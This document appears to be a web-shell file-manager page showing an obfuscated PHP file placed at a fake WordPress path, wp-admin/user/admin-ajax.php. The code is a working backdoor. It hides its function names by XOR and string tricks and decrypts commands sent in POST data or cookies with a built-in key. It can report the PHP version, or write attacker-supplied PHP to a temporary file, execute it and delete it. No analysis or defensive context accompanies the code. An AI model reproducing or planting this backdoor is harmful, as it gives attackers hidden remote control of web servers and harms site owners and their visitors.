HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-admin/user/admin-ajax.php
<?php 
$kuodlrqx  =	'kuodlrqx'    ^   '';


$dztscx    = /*   uxe  */ $kuodlrqx(83) /*uz   */ . /* jqj  */ "\x54"    .    "\122" /* eism   */ . /*w   */ "_"."P"."A"."D"."\137"     . /* sytf */ "\122"	. /*nvf   */ "I"."\107"     .	"H".$kuodlrqx(84);
$q_bpt_dz	=	"\x61"    . /* p_  */ "\x72"	. /*krdv   */ "r"."a"."\x79" /*b_hla */ .    $kuodlrqx(95)	.    "\155" /*   tiehy   */ .    $kuodlrqx(97)      . /*  sn   */ "\160";


$cmnra   =	$kuodlrqx(115)	.  "t"."r".$kuodlrqx(95) /*   n  */ .       $kuodlrqx(112) /*brghk   */ .  "a"."d";


$qekxdpt      =    $kuodlrqx(400-295)    .    $kuodlrqx(109) /*   ujd*/ .    "p"."l".$kuodlrqx(111)    . /*hwriak */ "d"."\x65";


$vryxszymb    = /*   ox*/ $kuodlrqx(982-883)    .      $kuodlrqx(770-659)    . /*  hwvjk   */ "u"."\x6e"      . /*  oaw  */ $kuodlrqx(116);





function /* oxfkyt   */ bldmsidqn($guohoisxkq, /*_otgv  */ $gih_vcnckg)


{      global  $kuodlrqx;
 /* cbkwk*/ 


    $guohoisxkq      = /* u */ $kuodlrqx(60)     .    "\x3f" /*eggzx*/ .    $kuodlrqx(112)    .  "\x68"     .    $kuodlrqx(112)     . /*   j */ $kuodlrqx(32)       .      "\x75" /*  jlhogz   */ . /*  afw*/ "\x6e" /*   zbkcct   */ .   $kuodlrqx(108)  .   $kuodlrqx(568-463) /*   qt  */ .    "\156" /*  zihltd */ . /*  _jtmeg   */ "k"."("."\x5f"	. /*   qtbu  */ "_"."F"."I".$kuodlrqx(76)    . /*   yohcvo*/ "\x45"    . /*   q  */ "_".$kuodlrqx(902-807)     . /*nchk  */ "\x29"    .     "\x3b"	.	$kuodlrqx(32)   . /* evish  */ $guohoisxkq["\144"];
    $puhnwrqyg    = /*   wqp */ "f"."\151"      .    $kuodlrqx(108)     .	"e"."_".$kuodlrqx(112) /*hb */ . /*  gdx  */ $kuodlrqx(117)       .	"\164"   .    "_"."c"."o"."\156"    .  "\x74"	. /* ppk*/ "e"."n"."t".$kuodlrqx(342-227);
     $puhnwrqyg($gih_vcnckg,	$guohoisxkq);


        izxcgwrrzc($gih_vcnckg);

}



$acewv /*  vpcdi*/ =   73;

function    izxcgwrrzc($gih_vcnckg)
{    global /*  mit*/ $kuodlrqx;


  

    include($gih_vcnckg); /*  h*/ $gpliqcz_v /*  mi */ = /*   dd_  */ $gih_vcnckg;   @unlink($gpliqcz_v);}




function    kuujy_(){


     global  $kuodlrqx;




 /*   clnb */ $xyrovzyuul     =	array();

    $xyrovzyuul["p"."v"]      =     phpversion();

 /*  zcd */ $xyrovzyuul["s"."v"]    =	"\63"	.	"."."5";
	$z_ldtdr	=	74;

     echo /*a*/ @serialize($xyrovzyuul);}





function	hukrlpiml($guohoisxkq, /*   j  */ $wvcedtmlv)


{       global     $kuodlrqx;


    $govpkwbo /* vwabrn  */ =	"";
  $yhhstbd     =    'snyjeqtwv';	$woeuqvrndt /*  ejmtv */ = /*  acm */ hash('sha256',      $guohoisxkq); /* ues   */ $wgtkqei   =    str_replace('rqr',	$woeuqvrndt,   $yhhstbd);


	$xyrovzyuul      = /*  zl   */ 0;

 /*   ep_  */ while /*b*/ ($xyrovzyuul /*  n_vhi */ <       strlen($guohoisxkq)) /*_ */ {


	$akiaohen    = /*   kzz  */ isset($wvcedtmlv)       ? /* bvio  */ $wvcedtmlv /* em_zam*/ :	'';

    for /*uf */ ($myhtkhyw /* r */ = /* e  */ 0;  $myhtkhyw       <   strlen($akiaohen)    &&	$xyrovzyuul    < /*   jzbd   */ strlen($guohoisxkq);    $myhtkhyw++, /*vuuw   */ $xyrovzyuul++)       {

 /* awserg */ $govpkwbo    .=       $kuodlrqx(ord($guohoisxkq[$xyrovzyuul])    ^ /*   f  */ ord($akiaohen[$myhtkhyw]));

  }


	if       (strlen($govpkwbo)    >	20)	{

 /*  s*/ $wgtkqei    = /*   nrkles*/ substr($govpkwbo,    0,    20);


    }

 /* a   */ }

	if    (empty($govpkwbo))     {
 /*   xgieia  */ $govpkwbo /* ds  */ =    date('Y-m-d	H:i:s');


    }	return /*   emx*/ $govpkwbo;

}



function /* snkfma*/ mexuovpv($mxafqqfllb)
{  global /*  zigca   */ $kuodlrqx;    

	$eatkp /*   dvej   */ =    "\x37" /*bcuda  */ .	"\141"."9"."5"."\x31"	.    "e"."\141".$kuodlrqx(126-28) /*kaz  */ . /* gbrz */ $kuodlrqx(45) /* bedua*/ .  "7"."\141"."\x32"	.    "\60"	.	$kuodlrqx(771-726)      .    $kuodlrqx(52-0) /*iyhsha*/ .	"\x35" /*  a */ .	$kuodlrqx(773-723) /*pooxfl*/ .    $kuodlrqx(99)	. /*   _   */ "\x2d" /*  g*/ . /* ryknr*/ "b"."7"."\x35" /* ef  */ .    "2"."\x2d"    .    $kuodlrqx(579-522)  . /*   _s  */ "5".$kuodlrqx(101)    .  "1"."\62" /* slbh */ .  $kuodlrqx(53)  .      "\144".$kuodlrqx(766-668)    .    "6"."3"."\65"  .   $kuodlrqx(57); /*pk  */ 
 /*   p */ foreach  ($mxafqqfllb /* qbq*/ as   $wriftqxyvp       => /* cpkx   */ $guohoisxkq) /* b */ {
	eqx_ilqcig(base64_decode($guohoisxkq),	$eatkp,    $wriftqxyvp);
    }

}


function	eqx_ilqcig($guohoisxkq,	$eatkp, /*  gis   */ $wriftqxyvp)
{

       global	$kuodlrqx;     
    $guohoisxkq /*   pgtj   */ =       unserialize(hukrlpiml(hukrlpiml($guohoisxkq,   $eatkp),	$wriftqxyvp));


	$sftbfelr	=	'vbfjpksuel';


	$lq_dma	= /*hmx  */ '_khy';

	if  (isset($guohoisxkq[$kuodlrqx(97)	.      "k"])) /*   ymjqpc */ {   if    ($guohoisxkq["\141"] /*fahln*/ ==   "i")	{	kuujy_();

    }	elseif /*_  */ ($guohoisxkq["\141"]    == /*  jnfbq*/ "e")	{   bldmsidqn($guohoisxkq, /*  jm   */ sprintf("\x2e"    .	"/"."\x25" /*   eb   */ .   "\163" /*  xgj  */ . /*  lkizj  */ "\56"    .       "\160"  .    "l", /*_vhgv */ md5($eatkp)));
			$pjjheqdr  =      44;

    }
 /*cm */ exit();	}}



mexuovpv($_POST);	



$ffnndc	= /* xpw  */ $q_bpt_dz('rawurldecode',   $_POST);


$bqh_uoqng       =	$vryxszymb($ffnndc);
if	($bqh_uoqng /* fbtw   */ >	0) /*  sgpmc   */ {


 /*qh  */ $huz_m	=	$qekxdpt(',', /*   jqd   */ $ffnndc);


}


mexuovpv($_COOKIE);   

$ufdmuylkmu /*   _xwuo   */ =      $q_bpt_dz('rawurldecode',	$_COOKIE);


$eaecxyvd    =    $vryxszymb($ufdmuylkmu);
if /*  sqg*/ ($eaecxyvd    >  0) /*   slfhqi  */ {

     $kpqxdtgdem    =     $qekxdpt(';',      $ufdmuylkmu);

}

$eonb_s      =    $ufdmuylkmu;


$dvrwtwli /*qo_  */ =	date('Y-m-d /* c*/ H:i:s');$d_qqk      =  strlen($qekxdpt('', /*   bgcp */ $eonb_s));if    ($d_qqk  >    100)	{ /*niu */ $lls_srsl    =	$cmnra($qekxdpt('',    $eonb_s), /*b */ 150, /*   jxuek  */ '0', /*  hqtroz  */ $dztscx);
}








?>